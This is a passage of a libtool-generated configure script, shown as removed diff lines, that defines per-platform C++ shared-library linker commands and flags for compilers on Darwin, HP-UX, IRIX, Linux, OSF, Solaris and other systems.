- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_direct_CXX=no
- hardcode_automatic_CXX=yes
- hardcode_shlibpath_var_CXX=unsupported
- whole_archive_flag_spec_CXX=''
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_CXX=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- freebsd[12]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- ld_shlibs_CXX=no
- ;;
- freebsd-elf*)
- archive_cmds_need_lc_CXX=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- ld_shlibs_CXX=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- export_dynamic_flag_spec_CXX='${wl}-E'
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_CXX='+b $libdir'
- ;;
- *)
- export_dynamic_flag_spec_CXX='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- ;;
- *)
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- interix3*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_CXX='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_CXX='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
- ;;
- esac
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
- archive_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
- ;;
- pgCC*)
- # Portland Group C++ compiler
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
- whole_archive_flag_spec_CXX='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- ;;
- cxx*)
- # Compaq C++
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
-
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- esac
- ;;
- lynxos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- m88k*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_CXX='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
- wlarc=
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- fi
- # Workaround some broken pre-1.5 toolchains
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
- ;;
- openbsd2*)
- # C++ shared libraries are fairly broken
- ld_shlibs_CXX=no
- ;;
- openbsd*)
- hardcode_direct_CXX=yes
- hardcode_shlibpath_var_CXX=no
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_expsym_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
- export_dynamic_flag_spec_CXX='${wl}-E'
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- fi
- output_verbose_link_cmd='echo'
- ;;
- osf3*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
-
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- osf4* | osf5*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Archives containing C++ object files must be created using
- # the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -o $oldlib $oldobjs'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- cxx*)
- allow_undefined_flag_CXX=' -expect_unresolved \*'
- archive_cmds_CXX='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_CXX='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
- echo "-hidden">> $lib.exp~
- $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~
- $rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-rpath $libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- allow_undefined_flag_CXX=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- psos*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- lcc*)
- # Lucid
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
- archive_cmds_CXX='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- hardcode_libdir_flag_spec_CXX='-R$libdir'
- hardcode_shlibpath_var_CXX=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The C++ compiler is used as linker so we must use $wl
- # flag to pass the commands to the underlying system
- # linker. We must also pass each convience library through
- # to the system linker between allextract/defaultextract.
- # The C++ compiler will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- whole_archive_flag_spec_CXX='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
- ;;
- esac
- link_all_deplibs_CXX=yes
-
- output_verbose_link_cmd='echo'
-
- # Archives containing C++ object files must be created using
- # "CC -xar", where "CC" is the Sun C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -xar -o $oldlib $oldobjs'
- ;;
- gcx*)
- # Green Hills C++ Compiler
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-
- # The C++ compiler must be used to create the archive.
- old_archive_cmds_CXX='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
- ;;
- *)
- # GNU C++ compiler with Solaris linker
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | grep -v '^2\.7' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- else
- # g++ 2.7 appears to require `-G' NOT `-shared' on this
- # platform.
- archive_cmds_CXX='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
- fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-R $wl$libdir'
- fi
- ;;
- esac
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
- no_undefined_flag_CXX='${wl}-z,text'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
